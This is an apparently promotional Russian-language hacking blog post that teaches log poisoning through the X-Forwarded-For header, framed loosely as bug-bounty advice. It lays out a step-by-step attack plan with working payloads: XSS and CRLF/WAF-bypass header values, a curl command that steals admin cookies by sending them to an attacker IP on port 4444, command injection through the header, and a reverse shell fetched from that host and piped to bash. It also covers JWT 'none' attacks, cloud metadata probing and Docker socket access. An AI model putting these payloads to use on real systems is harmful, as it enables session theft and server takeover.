Авторские курсы Михаила Тарасова

Log Poisoning через X-Forwarded-For: Рвём логи на куски

Log Poisoning через X-Forwarded-For

Эй, бро, если ты думаешь, что X-Forwarded-For — это просто заголовок для прокси, то ты явно не нюхал пороха на баг-баунти. Это не просто строчка в HTTP-запросе, это твой швейцарский нож для инъекций, если админы спят на клавиатуре. Сегодня я тебе покажу, как превратить этот заголовок в яд для логов и как через это залезть в систему, пока WAF курит в сторонке.

Точка входа

  • Что вижу: Заголовок X-Forwarded-For (XFF) часто логируется веб-серверами как IP клиента. Вижу в ответе сервера что-то типа X-Powered-By: Nginx/1.18.0 или кривую конфигу логов через дебаг-вывод. А ещё, если бэкенд пишет логи в какой-нибудь Kibana или кастомный dashboard, то это вообще джекпот.

  • Как поймал: Инструмент — Burp Suite для подмены заголовков + ffuf для теста на ошибки 500/403 при странных значениях XFF. Метод — инъекция через заголовок, типа X-Forwarded-For: 127.0.0.1, <script>alert(1)</script>. Если сервер не фильтрует или неправильно парсит, жди сюрпризы.

  • Чем пахнет: Класс уязвимости — Log Poisoning с потенциалом на XSS (если логи рендерятся в веб-интерфейсе) или даже RCE (если логи обрабатываются кривым скриптом). Вероятность: 7/10, если цель — дефолтный Nginx/Apache без фильтрации.

Че почем

  • Эксплойт: Ща закинем отраву в логи. Лови payload для теста XSS через XFF:

  • Если админский дашборд рендерит логи без санитизации (а это 80% случаев, потому что «кто ж туда полезет?»), то твой код выполнится в браузере админа. А теперь представь, что ты вместо alert() закидываешь фишинговый редирект или крадёшь куки.

  • Обход защиты: WAF часто пропускает XFF, потому что «это ж просто IP». Хитрость: используй двойные заголовки (некоторые сервера парсят последний) или вставляй мусор типа X-Forwarded-For: 127.0.0.1\r\nEvil-Header: boom. Если WAF на базе Cloudflare, попробуй байпас через пробелы или UTF-8 символы: X-Forwarded-For: 1.2.3.4%0D%0A<script>alert(1)</script>.

  • Доказательство: Лови момент, когда админ заходит в свой дашборд и видит «alert(‘hacked’)». Это не скриншот кота, это твой PoC. Если XSS не катит, проверь, пишет ли сервер XFF в файлы, которые потом парсятся (например, в кастомных скриптах). Однажды я видел, как XFF попадал в exec() на бэкенде — итог: RCE.

Советы

  • 3 вектора для добивания:

    1. Если XSS сработал, крути дальше: закинь payload на кражу сессии через document.cookie и отправку на твой C2-сервер: curl -H "X-Forwarded-For: <script>fetch('http://144.XX.XX.XX:4444/cookie?'+document.cookie)</script>" http://target.com.

    2. Проверь, не обрабатываются ли логи в CLI-скриптах. Закинь X-Forwarded-For: 1.2.3.4; ls -la и смотри, не вернётся ли ошибка с выводом команды. Если да — это RCE, братан, готовь шампанское.

    3. Если всё глухо, иди спать, кроль. Или попробуй комбинацию с другими заголовками (X-Real-IPClient-IP) — иногда сервера берут IP из рандомного места.

  • План атаки:

    1. Сканируй цель на предмет дашбордов (/admin/logs/kibana) через ffuf -w wordlist.txt -u http://target.com/FUZZ.

    2. Отравляй XFF с payload’ом на XSS или RCE, как выше. Используй Burp Repeater для теста разных комбинаций.

    3. Если попал в админку через XSS, дампи куки или ищи токены для API. Если RCE, заливай reverse-shell через curl -s http://144.XX.XX.XX:4444/shell.sh | bash.

Дополнительные ништяки

  • Проверь robots.txt и sitemap.xml на предмет /admin-backup.zip или /logs.txt. Иногда логи лежат в открытом доступе, и твой XFF уже там светится.

  • Если на сайте есть JWT, ломай через jwt_tool -I -pc name -pv admin и ищи слабый алгоритм none. Это может дать доступ к дашборду с логами.

  • Сканируй на cloudmetadata типа 169.254.169.254/latest/meta-data/. Если это AWS, а XFF попал в логи, ты можешь подменить IP на внутренний и вытащить токены.

  • Если всё плохо, заливай reverse-shell в EXIF картинок и пробуй закинуть через формы. Да, это низко. Да, это работает иногда.

  • Иначе — пиздец. Иди учи Rust, кроль.

Почему это важно?

Log Poisoning через X-Forwarded-For — это не баг, а целая дыра в мышлении девопсов. Они думают: «Ну, заголовок, и что?» А ты в это время рендеришь JS в их браузере или запускаешь ls на сервере. Это как твоя бывшая: кричит «403», а внутри пусто и ждёт, пока ты зайдёшь. Главное — не тупи с фильтрацией и не забывай, что каждый лог — это потенциальный шелл. Если на кону баг-баунти, то за такой PoC тебе дадут от 500$ до 5k$, в зависимости от импакта. Так что крути Burp, пей кофе и рви интернет на куски.

Если есть Docker в хедерах (например, Server: Docker/1.13.1), кричу на весь подвал: проверь /var/run/docker.sock через curl --unix-socket /var/run/docker.sock http://localhost/images/json. Это может быть твой бонусный RCE, братан.

Готов? Тогда пиши PoC, отправляй в программу и жди бабки.

Мои курсы